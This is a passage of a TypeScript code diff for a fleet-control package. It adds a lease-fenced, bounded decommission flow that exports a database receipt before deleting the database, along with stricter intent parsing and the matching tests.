completeDatabaseDecommission( + lease: FleetStateLease, + record: FleetRecord, + intent: ActiveDecommissionIntent, + clock: () => number, +): Promise { + const timestamp = nowIso(clock); + const nextRecord: FleetRecord = { + ...record, + phase: 'decommissioned', + updatedAt: timestamp, + }; + const completeIntent: DecommissionAdvanceIntent = { + version: 1, + operationId: intent.operationId, + revision: intent.revision + 1, + generation: intent.generation, + updatedAt: timestamp, + identity: intent.identity, + databaseExportReceiptAuthority: selectedReceiptAuthority(intent), + lifecyclePhase: 'decommissioned', + state: 'complete', + }; + return writeIntent(lease, nextRecord, completeIntent); +} + +async function deleteDatabaseUnderBarrier( + backend: ProvisioningBackend, + lease: FleetStateLease, + record: FleetRecord, + database: DatabaseReference, + barrier: FleetRecord, +): Promise { + await lease.assertOwned(); + const deletion = await settleOperation(() => + backend.deleteDatabase(database, lease), + ); + await lease.assertOwned(); + const readback = await settleOperation(() => + backend.getDatabase(record.databaseId), + ); + await lease.assertOwned(); + if (readback.status === 'rejected') throw readback.reason; + if (readback.value === undefined) return barrier; + if (deletion.status === 'rejected') throw deletion.reason; + throw new Error(`database '${record.databaseId}' remains after deletion`); +} + +async function advanceDatabaseTransition( options: AdvanceDecommissionDeploymentOptions, lease: FleetStateLease, record: FleetRecord, - intent: Extract< - DecommissionAdvanceIntent, - { readonly state: 'discover' | 'verify' } - >, + intent: ActiveDecommissionIntent, + receipt: ReceiptCapability, ): Promise { - if (intent.purpose.kind !== 'application-r2-detach') { - throw new Error( - 'application R2 attachment scanning cannot consume a database attachment purpose', + const clock = options.clock ?? Date.now; + if (intent.lifecyclePhase === 'application-resources-deleted') { + databaseReceiptIdentity( + record, + intent.operationId, + receipt.authority, + receipt.authority, ); + await reconcilePersistedDatabase( + options.backend, + record, + false, + lease, + true, + ); + return commitShellOnly(lease, record, intent, clock, { + state: 'discover', + databaseExportReceiptAuthority: receipt.authority, + purpose: { kind: 'database-pre-export', databaseId: record.databaseId }, + progress: initialWorkerAttachmentScan({ + kind: 'd1', + databaseId: record.databaseId, + }), + generation: intent.generation + 1, + }); } - const resource = record.applicationResources?.[intent.purpose.resourceIndex]; - if (!resource) malformedResult(); - assertApplicationR2ReservationIdentity(options.spec, resource); - const findApplicationR2Bucket = requiredCapability( - options.backend.findApplicationR2Bucket, - 'application-r2-inspection', + if (intent.lifecyclePhase === 'database-exported') { + await reconcilePersistedDatabase( + options.backend, + record, + false, + lease, + true, + ); + const purpose = databasePreDeletePurpose(record); + return commitShellOnly(lease, record, intent, clock, { + state: 'discover', + purpose, + progress: initialWorkerAttachmentScan({ + kind: 'd1', + databaseId: record.databaseId, + }), + generation: intent.generation + 1, + }); + } + if (intent.lifecyclePhase === 'database-deleting') { + const database = await reconcilePersistedDatabase( + options.backend, + record, + true, + lease, + true, + ); + if (!database) { + return completeDatabaseDecommission(lease, record, intent, clock); + } + const purpose = databasePreDeletePurpose(record); + return commitShellOnly(lease, record, intent, clock, { + state: 'discover', + purpose, + progress: initialWorkerAttachmentScan({ + kind: 'd1', + databaseId: record.databaseId, + }), + generation: intent.generation + 1, + }); + } + throw new Error( + `unsupported bounded decommission database lifecycle '${intent.lifecyclePhase}'`, + ); +} + +async function consumeDatabaseVerify( + options: AdvanceDecommissionDeploymentOptions, + lease: FleetStateLease, + record: FleetRecord, + intent: Extract, + receipt: ReceiptCapability, +): Promise { + const allowAbsent = intent.lifecyclePhase === 'database-deleting'; + const database = await reconcilePersistedDatabase( + options.backend, + record, + allowAbsent, + lease, + true, + ); + const clock = options.clock ?? Date.now; + if (!database) { + return completeDatabaseDecommission(lease, record, intent, clock); + } + const residual = requiredCapability( + options.backend.assertDatabaseDeletionResidualsRemoved, + 'database-residuals', ).bind(options.backend); + await residual(options.spec, record, database, lease); + if (intent.purpose.kind === 'database-pre-export') { + await lease.assertOwned(); + const identity = databaseReceiptIdentity( + record, + intent.operationId, + selectedReceiptAuthority(intent), + receipt.authority, + ); + const raw: unknown = await receipt.exportReceipt(identity, lease); + const exported = databaseExportFromUnknown(raw, record.databaseId); + return commitRecord( + lease, + record, + intent, + clock, + { + databaseExportLocation: exported.location, + databaseExportSha256: exported.sha256, + databaseExportSize: exported.size, + }, + { state: 'transitioning', lifecyclePhase: 'database-exported' }, + ); + } + if (intent.purpose.kind !== 'database-pre-delete') { + return malformedResult(); + } + const barrier = await commitRecord( + lease, + record, + intent, + clock, + {}, + { state: 'transitioning', lifecyclePhase: 'database-deleting' }, + ); + return deleteDatabaseUnderBarrier( + options.backend, + lease, + record, + database, + barrier, + ); +} + +async function advanceAttachmentScan( + options: AdvanceDecommissionDeploymentOptions, + lease: FleetStateLease, + record: FleetRecord, + intent: ScanDecommissionIntent, + receipt: ReceiptCapability, +): Promise { + let inspectionBackend: + | Readonly<{ + findApplicationR2Bucket: NonNullable< + ProvisioningBackend['findApplicationR2Bucket'] + >; + }> + | undefined; + if (intent.purpose.kind === 'application-r2-detach') { + const resource = + record.applicationResources?.[intent.purpose.resourceIndex]; + if (!resource) malformedResult(); + assertApplicationR2ReservationIdentity(options.spec, resource); + const findApplicationR2Bucket = requiredCapability( + options.backend.findApplicationR2Bucket, + 'application-r2-inspection', + ).bind(options.backend); + inspectionBackend = { findApplicationR2Bucket }; + const preflight = await advanceApplicationR2Deletion({ + spec: options.spec, + resources: record.applicationResources ?? [], + backend: inspectionBackend, + fence: lease, + startResourceIndex: 0, + }); + if ( + preflight.status !== 'detachment-required' || + preflight.resourceIndex !== intent.purpose.resourceIndex + ) { + malformedResult(); + } + } else { + const database = await reconcilePersistedDatabase( + options.backend, + record, + intent.lifecyclePhase === 'database-deleting', + lease, + true, + ); + if (!database) { + return completeDatabaseDecommission( + lease, + record, + intent, + options.clock ?? Date.now, + ); + } + } const scan = requiredCapability( options.backend.advanceDecommissionAttachmentScan, 'attachment-scan', ).bind(options.backend); - const inspectionBackend = { findApplicationR2Bucket }; - const preflight = await advanceApplicationR2Deletion({ - spec: options.spec, - resources: record.applicationResources ?? [], - backend: inspectionBackend, - fence: lease, - startResourceIndex: 0, - }); - if ( - preflight.status !== 'detachment-required' || - preflight.resourceIndex !== intent.purpose.resourceIndex - ) { - malformedResult(); - } const raw: unknown = await scan({ progress: intent.progress, maxProviderRequests: options.maxProviderRequests, @@ -1193,6 +1628,7 @@ async function advanceR2Scan( maxSerializedBytes: RESULT_PLAIN_DATA_BYTE_BOUND, error: () => new Error(RESULT_ERROR), }); + Reflect.apply(STRUCTURED_CLONE, undefined, [raw]); } catch { return malformedResult(); } @@ -1289,11 +1725,14 @@ async function advanceR2Scan( generation: intent.generation + 1, }); } + if (intent.purpose.kind !== 'application-r2-detach') { + return consumeDatabaseVerify(options, lease, record, intent, receipt); + } await lease.assertOwned(); const detached = await advanceApplicationR2Deletion({ spec: options.spec, resources: record.applicationResources ?? [], - backend: inspectionBackend, + backend: inspectionBackend as NonNullable, fence: lease, startResourceIndex: 0, verifiedDetachmentResourceIndex: intent.purpose.resourceIndex, @@ -1387,15 +1826,33 @@ async function advanceUnderLease( : undefined; if (action.kind === 'start' && intent) { assertNormalAuthority(record, backend, spec, intent); + if ( + intent.state !== 'blocked' && + intent.state !== 'complete' && + intent.databaseExportReceiptAuthority !== undefined + ) { + assertNormalDecommissionD1ResourcesDeleted(record); + const receipt = receiptCapability(backend); + databaseReceiptIdentity( + record, + intent.operationId, + selectedReceiptAuthority(intent), + receipt.authority, + ); + } return authoritativeResult({ ...record, decommissionIntent: intent }); } if (action.kind === 'start') { assertNormalAuthority(record, backend, spec); + assertSupportedEntryLifecycle(record); + if (effectiveLifecyclePhase(record) === 'application-resources-deleted') { + assertNormalDecommissionD1ResourcesDeleted(record); + } validateReservations(spec, record); const resources = record.applicationResources ?? []; assertCompleteApplicationR2Reservations(resources); requireStartCapabilities(backend, resources); - assertSupportedEntryLifecycle(record); + const receipt = receiptCapability(backend); const operationId = options.randomUUID(); parseDecommissionAdvanceToken({ version: 1, @@ -1404,6 +1861,12 @@ async function advanceUnderLease( operationId, revision: 0, }); + databaseReceiptIdentity( + record, + operationId, + receipt.authority, + receipt.authority, + ); record = startRecord( record, spec, @@ -1421,34 +1884,47 @@ async function advanceUnderLease( if (classification === 'stale') return authoritativeResult(record); if (action.kind === 'restart-blocked') { if (intent.state !== 'blocked') throw new DecommissionAdvanceRestartError(); - if (intent.purpose.kind !== 'application-r2-detach') { - throw new DecommissionAdvanceRestartError(); - } assertNormalAuthority(record, backend, spec, intent); assertCompleteApplicationR2Reservations(record.applicationResources ?? []); + if (intent.purpose.kind !== 'application-r2-detach') { + assertNormalDecommissionD1ResourcesDeleted(record); + } + const receipt = receiptCapability(backend); + if (intent.purpose.kind !== 'application-r2-detach') { + databaseReceiptIdentity( + record, + intent.operationId, + selectedReceiptAuthority(intent), + receipt.authority, + ); + } requireCapability( backend.advanceDecommissionAttachmentScan, 'attachment-scan', ); - const resource = - record.applicationResources?.[intent.purpose.resourceIndex]; - if (!resource) malformedResult(); - assertApplicationR2ReservationIdentity(spec, resource); - if (intent.purpose.resourceIndex > 0) { - const findApplicationR2Bucket = requiredCapability( - backend.findApplicationR2Bucket, - 'application-r2-inspection', - ).bind(backend); - const prefix = await advanceApplicationR2Deletion({ - spec, - resources: - record.applicationResources?.slice(0, intent.purpose.resourceIndex) ?? - [], - backend: { findApplicationR2Bucket }, - fence: lease, - startResourceIndex: 0, - }); - if (prefix.status !== 'complete') malformedResult(); + if (intent.purpose.kind === 'application-r2-detach') { + const resource = + record.applicationResources?.[intent.purpose.resourceIndex]; + if (!resource) malformedResult(); + assertApplicationR2ReservationIdentity(spec, resource); + if (intent.purpose.resourceIndex > 0) { + const findApplicationR2Bucket = requiredCapability( + backend.findApplicationR2Bucket, + 'application-r2-inspection', + ).bind(backend); + const prefix = await advanceApplicationR2Deletion({ + spec, + resources: + record.applicationResources?.slice( + 0, + intent.purpose.resourceIndex, + ) ?? [], + backend: { findApplicationR2Bucket }, + fence: lease, + startResourceIndex: 0, + }); + if (prefix.status !== 'complete') malformedResult(); + } } record = await commitShellOnly( lease, @@ -1467,15 +1943,43 @@ async function advanceUnderLease( if (intent.state === 'blocked' || intent.state === 'complete') { return authoritativeResult(record); } - if (intent.lifecyclePhase === 'application-resources-deleted') { - return authoritativeResult(record); - } assertNormalAuthority(record, backend, spec, intent); assertCompleteApplicationR2Reservations(record.applicationResources ?? []); + const isD1Action = intent.databaseExportReceiptAuthority !== undefined; + if (isD1Action || intent.lifecyclePhase === 'application-resources-deleted') { + assertNormalDecommissionD1ResourcesDeleted(record); + } + const receipt = receiptCapability(backend); + if (isD1Action) { + databaseReceiptIdentity( + record, + intent.operationId, + selectedReceiptAuthority(intent), + receipt.authority, + ); + } if (intent.state === 'discover' || intent.state === 'verify') { - record = await advanceR2Scan(options, lease, record, intent); + record = await advanceAttachmentScan( + options, + lease, + record, + intent, + receipt, + ); } else if (intent.lifecyclePhase === 'application-resources-deleting') { record = await advanceR2Transition(options, lease, record, intent); + } else if ( + intent.lifecyclePhase === 'application-resources-deleted' || + intent.lifecyclePhase === 'database-exported' || + intent.lifecyclePhase === 'database-deleting' + ) { + record = await advanceDatabaseTransition( + options, + lease, + record, + intent, + receipt, + ); } else { record = await advanceLifecycle(options, lease, record, intent); } diff --git a/packages/fleet-control/src/decommission-intent.ts b/packages/fleet-control/src/decommission-intent.ts index e327c637..29b845cd 100644 --- a/packages/fleet-control/src/decommission-intent.ts +++ b/packages/fleet-control/src/decommission-intent.ts @@ -28,6 +28,7 @@ const NODE_BOUND = 8192; const SHA256 = /^[0-9a-f]{64}$/u; const UUID_V4 = /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u; +const STRUCTURED_CLONE = structuredClone; const INITIAL_PHASES = new Set([ 'publishing', @@ -137,6 +138,18 @@ function canonicalIso(value: unknown): value is string { ); } +function assertApplicationResourcesDeleted( + source: Pick, +): void { + if ( + (source.applicationResources ?? []).some( + (resource) => resource.state !== 'deleted', + ) + ) { + malformed(); + } +} + function parseRecordIdentity( value: unknown, source: FleetRecord, @@ -414,6 +427,7 @@ function parseAttachment(value: unknown): DecommissionBlockedAttachment { function parseIntentCommon( candidate: Record, source: FleetRecord, + requiresReceiptAuthority: boolean, ): DecommissionIntentCommon { if ( candidate.version !== 1 || @@ -426,6 +440,23 @@ function parseIntentCommon( return malformed(); } const lifecyclePhase = parseLifecyclePhase(candidate.lifecyclePhase); + if ( + [ + 'application-resources-deleted', + 'database-exported', + 'database-deleting', + ].includes(lifecyclePhase) + ) { + assertApplicationResourcesDeleted(source); + } + const databaseExportReceiptAuthority = + requiresReceiptAuthority && + boundedString(candidate.databaseExportReceiptAuthority) + ? candidate.databaseExportReceiptAuthority + : undefined; + if (requiresReceiptAuthority && !databaseExportReceiptAuthority) { + return malformed(); + } return { version: 1, operationId: candidate.operationId, @@ -433,6 +464,9 @@ function parseIntentCommon( generation: candidate.generation, updatedAt: candidate.updatedAt, identity: parseIdentity(candidate.identity, source, lifecyclePhase), + ...(databaseExportReceiptAuthority + ? { databaseExportReceiptAuthority } + : {}), lifecyclePhase, }; } @@ -472,6 +506,7 @@ export function decommissionAdvanceIntentFromUnknown( maxSerializedBytes: DECOMMISSION_INTENT_BYTE_BOUND, error: () => new DecommissionAdvanceIntentError(), }); + Reflect.apply(STRUCTURED_CLONE, undefined, [value]); } catch { return malformed(); } @@ -484,6 +519,7 @@ export function decommissionAdvanceIntentFromUnknown( 'generation', 'updatedAt', 'identity', + 'databaseExportReceiptAuthority', 'lifecyclePhase', 'state', ]); @@ -494,6 +530,7 @@ export function decommissionAdvanceIntentFromUnknown( !safeIntegerAtLeast(candidate.revision) || !safeIntegerAtLeast(candidate.generation) || !canonicalIso(candidate.updatedAt) || + !boundedString(candidate.databaseExportReceiptAuthority) || candidate.lifecyclePhase !== 'decommissioned' ) { return malformed(); @@ -506,6 +543,7 @@ export function decommissionAdvanceIntentFromUnknown( generation: candidate.generation, updatedAt: candidate.updatedAt, identity: parseIdentity(candidate.identity, source, 'decommissioned'), + databaseExportReceiptAuthority: candidate.databaseExportReceiptAuthority, lifecyclePhase: 'decommissioned', state: 'complete', }; @@ -522,6 +560,13 @@ export function decommissionAdvanceIntentFromUnknown( ? ['purpose', 'attachment'] : undefined; if (!stateKeys) return malformed(); + const rawPurpose = + state === 'transitioning' ? undefined : plainRecord(candidate.purpose); + const requiresReceiptAuthority = + candidate.lifecyclePhase === 'database-exported' || + candidate.lifecyclePhase === 'database-deleting' || + rawPurpose?.kind === 'database-pre-export' || + rawPurpose?.kind === 'database-pre-delete'; exactKeys(candidate, [ 'version', 'operationId', @@ -529,12 +574,17 @@ export function decommissionAdvanceIntentFromUnknown( 'generation', 'updatedAt', 'identity', + ...(requiresReceiptAuthority ? ['databaseExportReceiptAuthority'] : []), 'lifecyclePhase', 'state', ...stateKeys, ]); if (source.phase !== 'decommission-advancing') return malformed(); - const parsedCommon = parseIntentCommon(candidate, source); + const parsedCommon = parseIntentCommon( + candidate, + source, + requiresReceiptAuthority, + ); if (state === 'transitioning') { return { ...parsedCommon, state }; } @@ -605,6 +655,7 @@ export function parseDecommissionAdvanceToken( maxSerializedBytes: TOKEN_BYTE_BOUND, error: () => new DecommissionAdvanceTokenError(), }); + Reflect.apply(STRUCTURED_CLONE, undefined, [value]); } catch { throw new DecommissionAdvanceTokenError(); } diff --git a/packages/fleet-control/src/provision.ts b/packages/fleet-control/src/provision.ts index 2144a4a4..3cf63b51 100644 --- a/packages/fleet-control/src/provision.ts +++ b/packages/fleet-control/src/provision.ts @@ -1,5 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 +import { randomUUID } from 'node:crypto'; import { assertInitialExecutionFenceState } from '@proofoftech/flowsafe/deployment-identity-protocol'; import { @@ -26,7 +27,10 @@ import { } from './backend-switch.js'; import { activeExternalRelease, + advanceDecommissionDeployment, assertImmutableDeploymentMapping, + assertNormalDecommissionD1ResourcesDeleted, + type DecommissionAdvanceAction, reconcilePersistedDatabase, retainedExternalReleases, } from './decommission-advance.js'; @@ -1549,9 +1553,6 @@ export async function decommissionDeployment( options.spec.tenantTag, options.spec.environment, ); - if (current) { - assertNoActiveDecommission(current, 'decommissionDeployment'); - } if ( current?.backendSwitchIntent && current.backendSwitchIntent.subphase !== 'decommissioned' @@ -1578,15 +1579,63 @@ export async function decommissionDeployment( await emitDecommissionAudit(options.audit, result.record, false); return result; } - const result = await options.store.withDeploymentLease( - options.spec.tenantTag, - options.spec.environment, - (lease) => decommissionDeploymentUnderLease(options, lease), - ); + const hasNormalIntent = + current?.decommissionIntent?.identity.mode.kind === 'normal'; + const shellLessLatePhase = + current !== undefined && + current.decommissionIntent === undefined && + (current.phase === 'database-exported' || + current.phase === 'database-deleting' || + current.phase === 'decommissioned'); + let useBounded = hasNormalIntent; + if (current && !hasNormalIntent && !shellLessLatePhase) { + useBounded = + Reflect.has(options.backend, 'advanceDecommissionAttachmentScan') && + (Reflect.has(options.backend, 'databaseExportReceiptAuthority') || + Reflect.has(options.backend, 'exportDatabaseReceipt')); + } + const result = useBounded + ? await drainBoundedDecommission(options) + : await options.store.withDeploymentLease( + options.spec.tenantTag, + options.spec.environment, + (lease) => decommissionDeploymentUnderLease(options, lease), + ); await emitDecommissionAudit(options.audit, result.record, false); return result; } +async function drainBoundedDecommission( + options: DecommissionDeploymentOptions, +): Promise { + let action: DecommissionAdvanceAction = { kind: 'start' }; + let firstResult = true; + while (true) { + const result = await advanceDecommissionDeployment({ + backend: options.backend, + store: options.store, + spec: options.spec, + action, + maxProviderRequests: 1_000, + ...(options.clock ? { clock: options.clock } : {}), + randomUUID, + }); + if (result.status === 'complete') return result.result; + if (result.status === 'blocked') { + if (firstResult) { + firstResult = false; + action = { kind: 'restart-blocked', token: result.token }; + continue; + } + throw new Error( + 'bounded decommission remains blocked by a Worker attachment', + ); + } + firstResult = false; + action = { kind: 'continue', token: result.token }; + } +} + function emitDecommissionAudit( audit: DecommissionAuditSink | undefined, record: FleetRecord, @@ -1914,6 +1963,14 @@ async function decommissionDeploymentUnderLease( }; await lease.put(record); } + if ( + record.phase === 'application-resources-deleted' || + record.phase === 'database-exported' || + record.phase === 'database-deleting' || + record.phase === 'decommissioned' + ) { + assertNormalDecommissionD1ResourcesDeleted(record); + } if (record.phase === 'application-resources-deleted') { await backend.assertDatabaseDetached(spec, record, database, lease); const exported = await backend.exportDatabase(database, lease); diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index 8999aa23..b975c00d 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -494,6 +494,7 @@ export interface DecommissionIntentCommon { readonly generation: number; readonly updatedAt: string; readonly identity: DecommissionOperationIdentity; + readonly databaseExportReceiptAuthority?: string; readonly lifecyclePhase: NormalDecommissionLifecyclePhase; } @@ -525,6 +526,7 @@ export type DecommissionAdvanceIntent = generation: number; updatedAt: string; identity: DecommissionOperationIdentity; + databaseExportReceiptAuthority: string; lifecyclePhase: 'decommissioned'; state: 'complete'; }>; @@ -1481,6 +1483,13 @@ export interface ProvisioningBackend { readonly immutableExternalArtifacts?: true; releaseScriptName?(spec: DeploymentSpec): string; findDatabase(spec: DeploymentSpec): Promise; + /** + * Reads one database by immutable ID. Only `undefined` means absence. + * + * Present results are descriptor-safe plain data with bounded `id` and + * `name`, `created: false`, and optional safe plain-data fields. Destructive + * consumers reconstruct the required fields and discard extras. + */ getDatabase(databaseId: string): Promise; ensureDatabase( spec: DeploymentSpec, @@ -1688,7 +1697,9 @@ export interface ProvisioningBackend { /** * Exports one operation-scoped receipt. The lower store consumes the body * while its eager source-integrity promise settles, exact retries converge, - * and identity or byte collisions are preserved and refused. + * and identity or byte collisions are preserved and refused. The result must + * be descriptor-safe plain data; bounded destructive consumers reconstruct + * the required export fields and discard safe extras. */ exportDatabaseReceipt?( identity: DatabaseExportReceiptIdentity, diff --git a/packages/fleet-control/test/cross-backend-continuation.test.ts b/packages/fleet-control/test/cross-backend-continuation.test.ts index cb2bd898..4fa60276 100644 --- a/packages/fleet-control/test/cross-backend-continuation.test.ts +++ b/packages/fleet-control/test/cross-backend-continuation.test.ts @@ -9,11 +9,12 @@ import { ProvisioningError, provisionDeployment, } from '../src/provision.js'; -import type { - DeploymentSpec, - FleetRecord, - FleetStateLease, - FleetStateStore, +import { + type DeploymentSpec, + effectiveLifecyclePhase, + type FleetRecord, + type FleetStateLease, + type FleetStateStore, } from '../src/types.js'; import { assertHarnessFailuresConsumed, @@ -185,9 +186,13 @@ class RepeatedPhaseFailureStore extends HarnessFleetStore { } override async put(record: FleetRecord): Promise { - if (record.phase === this.failedPhase && this.#remainingFailures > 0) { + if ( + (record.phase === this.failedPhase || + effectiveLifecyclePhase(record) === this.failedPhase) && + this.#remainingFailures > 0 + ) { this.#remainingFailures -= 1; - throw new Error(`failed state write at ${record.phase}`); + throw new Error(`failed state write at ${this.failedPhase}`); } await super.put(record); } @@ -606,7 +611,9 @@ describe('ordinary Worker cross-backend continuation', () => { spec, }), ).rejects.toThrow(`failed state write at ${row.phase}`); - expect(direct.store.record?.phase).toBe(row.predecessor); + const retained = direct.store.record; + if (!retained) throw new Error('failed write removed the Fleet row'); + expect(effectiveLifecyclePhase(retained)).toBe(row.predecessor); const retried = await decommissionDeployment({ backend: direct.backend, @@ -747,13 +754,6 @@ describe('ordinary Worker cross-backend continuation', () => { const databaseDeletion = directHarness(source.world.clone()); databaseDeletion.store.record = structuredClone(ready.record); databaseDeletion.world.failNext('deleteDatabase', { dispatched: true }); - await ignoreFailure( - decommissionDeployment({ - backend: databaseDeletion.backend, - store: databaseDeletion.store, - spec, - }), - ); const databaseDeleted = await decommissionDeployment({ backend: databaseDeletion.backend, store: databaseDeletion.store, @@ -761,6 +761,11 @@ describe('ordinary Worker cross-backend continuation', () => { }); expect(databaseDeleted.record.phase).toBe('decommissioned'); expect(databaseDeletion.world.databases).toEqual([]); + expect( + databaseDeletion.world.mutationLog.filter( + (entry) => entry === `delete-database:${ready.record.databaseId}`, + ), + ).toHaveLength(1); const secretDeletion = directHarness(source.world.clone()); secretDeletion.store.record = structuredClone(ready.record); diff --git a/packages/fleet-control/test/decommission-intent.test.ts b/packages/fleet-control/test/decommission-intent.test.ts index 8ff626be..26d49b29 100644 --- a/packages/fleet-control/test/decommission-intent.test.ts +++ b/packages/fleet-control/test/decommission-intent.test.ts @@ -30,6 +30,8 @@ import { } from '../src/types.js'; const OPERATION_ID = '12345678-1234-4abc-8def-1234567890ab'; +const DATABASE_ID = '00000000-0000-0000-0000-000000000001'; +const RECEIPT_AUTHORITY = 'memory://fleet-exports/receipts/v1'; const NOW = '2026-08-29T12:00:00.000Z'; const DIGEST = 'a'.repeat(64); const EVIDENCE = 'b'.repeat(64); @@ -58,7 +60,7 @@ function fleetRecord(overrides: Partial = {}): FleetRecord { environment: 'production', backend: 'plain-worker', scriptName: 'acme-production', - databaseId: 'database-id', + databaseId: DATABASE_ID, databaseName: 'acme-production', schemaVersion: 1, artifactVersion: 'version-1', @@ -113,6 +115,7 @@ function common( overrides: Partial<{ revision: number; generation: number; + databaseExportReceiptAuthority: string; }> = {}, ) { return { @@ -122,6 +125,12 @@ function common( generation: overrides.generation ?? 0, updatedAt: NOW, identity: identity(), + ...(overrides.databaseExportReceiptAuthority === undefined + ? {} + : { + databaseExportReceiptAuthority: + overrides.databaseExportReceiptAuthority, + }), lifecyclePhase, }; } @@ -201,6 +210,7 @@ describe('decommission advance intent', () => { }); const complete = { ...common('ready'), + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, lifecyclePhase: 'decommissioned' as const, state: 'complete' as const, }; @@ -212,6 +222,9 @@ describe('decommission advance intent', () => { const accessor = vi.fn(() => 'transitioning'); const cyclic: { self?: unknown } = {}; cyclic.self = cyclic; + const transparent = new Proxy(valid, {}); + const revoked = Proxy.revocable(valid, {}); + revoked.revoke(); for (const malformed of [ { ...valid, version: 2 }, { ...valid, extra: true }, @@ -223,7 +236,10 @@ describe('decommission advance intent', () => { get: accessor, }), Object.assign({ ...valid }, { [Symbol('extra')]: true }), + transparent, + revoked.proxy, cyclic, + { ...valid, databaseExportReceiptAuthority: RECEIPT_AUTHORITY }, ]) { expect(() => parse(malformed)).toThrow(DecommissionAdvanceIntentError); } @@ -385,39 +401,46 @@ describe('decommission advance intent', () => { }); it('enforces the D1 purpose, lifecycle, and durable-export table', () => { + const source = fleetRecord({ + applicationResources: [applicationResource('deleted')], + }); const exportPurpose = { kind: 'database-pre-export' as const, - databaseId: 'database-id', + databaseId: DATABASE_ID, }; const exportIntent = { - ...common('application-resources-deleted'), + ...common('application-resources-deleted', { + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, + }), state: 'discover' as const, purpose: exportPurpose, progress: initialWorkerAttachmentScan({ kind: 'd1', - databaseId: 'database-id', + databaseId: DATABASE_ID, }), }; - expect(parse(exportIntent)).toEqual(exportIntent); + expect(parse(exportIntent, source)).toEqual(exportIntent); const deletePurpose = { kind: 'database-pre-delete' as const, - databaseId: 'database-id', + databaseId: DATABASE_ID, exportLocation: 'r2://exports/database.sqlite', exportSha256: 'c'.repeat(64), exportSize: 128, }; const deleteIntent = { - ...common('database-exported'), + ...common('database-exported', { + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, + }), state: 'discover' as const, purpose: deletePurpose, progress: initialWorkerAttachmentScan({ kind: 'd1', - databaseId: 'database-id', + databaseId: DATABASE_ID, }), }; - expect(parse(deleteIntent)).toEqual(deleteIntent); + expect(parse(deleteIntent, source)).toEqual(deleteIntent); expect( - parse({ ...deleteIntent, lifecyclePhase: 'database-deleting' }), + parse({ ...deleteIntent, lifecyclePhase: 'database-deleting' }, source), ).toMatchObject({ lifecyclePhase: 'database-deleting' }); for (const malformed of [ { @@ -457,7 +480,102 @@ describe('decommission advance intent', () => { }), }, ]) { - expect(() => parse(malformed)).toThrow(DecommissionAdvanceIntentError); + expect(() => parse(malformed, source)).toThrow( + DecommissionAdvanceIntentError, + ); + } + for (const malformed of [ + { + ...exportIntent, + databaseExportReceiptAuthority: undefined, + }, + (() => { + const { + databaseExportReceiptAuthority: _databaseExportReceiptAuthority, + ...withoutAuthority + } = exportIntent; + return withoutAuthority; + })(), + { + ...deleteIntent, + databaseExportReceiptAuthority: '', + }, + { + ...deleteIntent, + databaseExportReceiptAuthority: 'x'.repeat(4097), + }, + ]) { + expect(() => parse(malformed, source)).toThrow( + DecommissionAdvanceIntentError, + ); + } + const exactAuthority = 'é'.repeat(2048); + expect(new TextEncoder().encode(exactAuthority)).toHaveLength(4096); + expect( + parse( + { ...exportIntent, databaseExportReceiptAuthority: exactAuthority }, + source, + ), + ).toMatchObject({ databaseExportReceiptAuthority: exactAuthority }); + const activeD1Shapes = [ + exportIntent, + deleteIntent, + { + ...common('database-exported', { + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, + }), + state: 'transitioning' as const, + }, + { + ...common('database-deleting', { + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, + }), + state: 'transitioning' as const, + }, + { ...deleteIntent, lifecyclePhase: 'database-deleting' as const }, + { + ...deleteIntent, + lifecyclePhase: 'database-deleting' as const, + state: 'verify' as const, + discoverEvidence: { evidenceSha256: EVIDENCE, evidenceCount: 2 }, + }, + ]; + const completeIntent = { + ...common('ready'), + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, + lifecyclePhase: 'decommissioned' as const, + state: 'complete' as const, + }; + for (const state of [ + 'reserved', + 'create-authorized', + 'created', + 'detach-authorized', + 'detached', + 'empty-authorized', + 'empty', + 'delete-authorized', + ] as const) { + const malformedResources = [ + { ...applicationResource(), state } as ApplicationR2Resource, + ]; + for (const shape of activeD1Shapes) { + expect(() => + parse( + shape, + fleetRecord({ applicationResources: malformedResources }), + ), + ).toThrow(DecommissionAdvanceIntentError); + } + expect(() => + parse( + completeIntent, + fleetRecord({ + phase: 'decommissioned', + applicationResources: malformedResources, + }), + ), + ).toThrow(DecommissionAdvanceIntentError); } }); @@ -533,19 +651,33 @@ describe('decommission advance intent', () => { const considered = [...INITIAL_PHASES, ...TEARDOWN_PHASES]; for (const entry of INITIAL_PHASES) { for (const current of considered) { - const source = + const initialSource = entry === 'migrating' && current === 'migrating' ? fleetRecord({ pendingSpecDigest: 'd'.repeat(64), pendingArtifactVersion: 'candidate-v1', }) : fleetRecord(); + const source = [ + 'application-resources-deleted', + 'database-exported', + 'database-deleting', + ].includes(current) + ? { + ...initialSource, + applicationResources: [applicationResource('deleted')], + } + : initialSource; const requestedSpecDigest = entry === 'migrating' && current === 'migrating' ? 'd'.repeat(64) : source.desiredSpecDigest; const candidate = { - ...common(current), + ...common(current, { + ...(['database-exported', 'database-deleting'].includes(current) + ? { databaseExportReceiptAuthority: RECEIPT_AUTHORITY } + : {}), + }), identity: identity(entry, source, requestedSpecDigest), state: 'transitioning' as const, }; @@ -568,15 +700,28 @@ describe('decommission advance intent', () => { entryIndex ] as NormalDecommissionLifecyclePhase; const currentIndex = TEARDOWN_PHASES.indexOf(current as never); + const source = [ + 'application-resources-deleted', + 'database-exported', + 'database-deleting', + ].includes(current) + ? fleetRecord({ + applicationResources: [applicationResource('deleted')], + }) + : fleetRecord(); const candidate = { - ...common(current), - identity: identity(entry), + ...common(current, { + ...(['database-exported', 'database-deleting'].includes(current) + ? { databaseExportReceiptAuthority: RECEIPT_AUTHORITY } + : {}), + }), + identity: identity(entry, source), state: 'transitioning' as const, }; if (currentIndex >= entryIndex) - expect(parse(candidate)).toEqual(candidate); + expect(parse(candidate, source)).toEqual(candidate); else - expect(() => parse(candidate)).toThrow( + expect(() => parse(candidate, source)).toThrow( 